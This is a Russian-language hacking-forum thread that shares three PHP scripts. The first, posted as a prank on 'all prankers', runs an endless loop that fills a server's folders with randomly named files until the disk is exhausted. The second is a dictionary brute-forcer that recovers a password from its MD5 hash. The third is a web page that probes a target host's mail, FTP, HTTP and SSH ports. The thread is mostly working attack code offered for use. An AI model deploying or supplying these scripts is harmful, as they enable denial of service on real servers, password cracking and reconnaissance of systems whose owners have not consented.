Сегодня понадобилось засрать все папки файлами :)(Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
PHP код:
<?php // Greetz всем заподлянщикам... //Аминь... //(C) Dr.Check //////////////////////////////////////////////////////////////// set_time_limit(0); ignore_user_abort(); echo("<center><b>ИБО НЕХУЙ!!!</b></center>"); ///////////////////////////////////////////////////////////////// $name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s', 't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L', 'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6', '7','8','9','0'); ////////////////////////////////////////////////////////////////// $rash= array('.txt','.dic','.doc','.xls','.exe','.ini', '.bat','.log','.dll','.hak','.wmf','.zip','.rar', '.tar','.gz','.jpg','.gif','.bmp'); ///////////////////////////////////////////////////////////////// while(true) { $perem = ""; $fuck=""; for($i = 0; $i < rand(20,1); $i++) // количество сиволов в имени файла. { $by = rand(0, count($name) - 1); $perem .= $name[$by]; } $ra= rand(0, count($rash)-1); $fuck .= $rash[$ra]; $fp=fopen($perem.$fuck,"w"); fwrite($fp,php_uname()); fclose($fp); } ?>
P.S (вот так вроде правильней(для твоего скрипта)
PHP код:
$dir=opendir("."); while (false !== ($file = readdir($dir))) { if(($file !=".") && ($file !="..")) {
Хотя одно и тоже... ;)
Хм, какой-то простенький md5 брут
PHP код:
<? function pass_dict ($hash) { //вычисляем начальное время, необходимое для расчета общего времени выполнения скрипта $start_time = microtime(); $start_array = explode(" ",$start_time); $start_time = $start_array[1] + $start_array[0];
//открываем файл словаря из стандартного дистрибутива линукса $f = fopen("linux.words","r") or die("ошибка"); while (!feof($f)) { $str = strtolower(fgets($f)); //удаляем лишние пробелы и символы конца строки $str = trim($str); $strmd5 = md5($str); if ($strmd5 == $hash) $pass = $str;
if (isset($pass)) { echo "password = ".$pass; $end_time = microtime(); $end_array = explode(" ",$end_time); $end_time = $end_array[1] + $end_array[0]; $time = $end_time - $start_time; echo "<br><center>Найдено за $time секунд!</center>"; fclose($f); return; } }
$end_time = microtime(); $end_array = explode(" ",$end_time); $end_time = $end_array[1] + $end_array[0]; $time = $end_time - $start_time; echo "<br><center>Не найдено за $time секунд!</center>"; fclose($f); return; } pass_dict("e206a54e97690cce50cc872dd70ee896"); ?>
Скрипт проверяет на наличий сервисов POP, FTP и т.д
PHP код:
<html> <head> <title>::CHECKER::</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <body bgcolor="#000000" text="#ffffff"> <hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr> <tr><td><form action="<? $PHP_SELF ?>" method="post"> <b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить"> <button onclick=location.reload(true)>Обновить</button></td></tr></table> <hr width="30%"></hr> <?php error_reporting(0); set_time_limit(0); $domain=$_POST['domain']; $ip=gethostbyname($domain); $httpport = "80"; $ftpport = "21"; $popport = "110"; $imapport = "143"; $smtpport = "25"; $sshport = "22"; echo "<b>"; echo("IP адрес хоста: "); echo "</b>"; echo "<font color=\"red\">"; echo($ip); echo "</font>" ?> <table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr> <tr><td><font color="#999999"><b>HTTP --> </b></font> <?php $http = fsockopen($domain, $httpport, $errno, $errstr, $timeout); if (!$http) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?></td></tr> <tr><td><font color="#999999"><b>FTP --> </b></font> <?php $ftp = fsockopen($domain, $ftpport, $errno, $errstr, $timeout); if (!$ftp) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?></td></tr> <tr><td><font color="#999999"><b>POP --> </b></font> <?php $pop = fsockopen($domain, $popport, $errno, $errstr, $timeout); if (!$pop) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?> </td></tr> <tr><td><font color="#999999"><b>IMAP --> </b></font> <?php $imap = fsockopen($domain, $imapport, $errno, $errstr, $timeout); if (!$imap) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?> </td></tr> <tr><td><font color="#999999"><b>SMTP --> </b></font> <?php $smtp = fsockopen($domain, $smtpport, $errno, $errstr, $timeout); if (!$smtp) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?> </td></tr> <tr><td><b><font color="#999999">SSH --> </font></b> <?php $ssh = fsockopen($domain, $sshport, $errno, $errstr, $timeout); if (!$ssh) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); }
else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); } ?> </td></tr></table><hr width="30%"></hr></center> </body> </head> </html>
|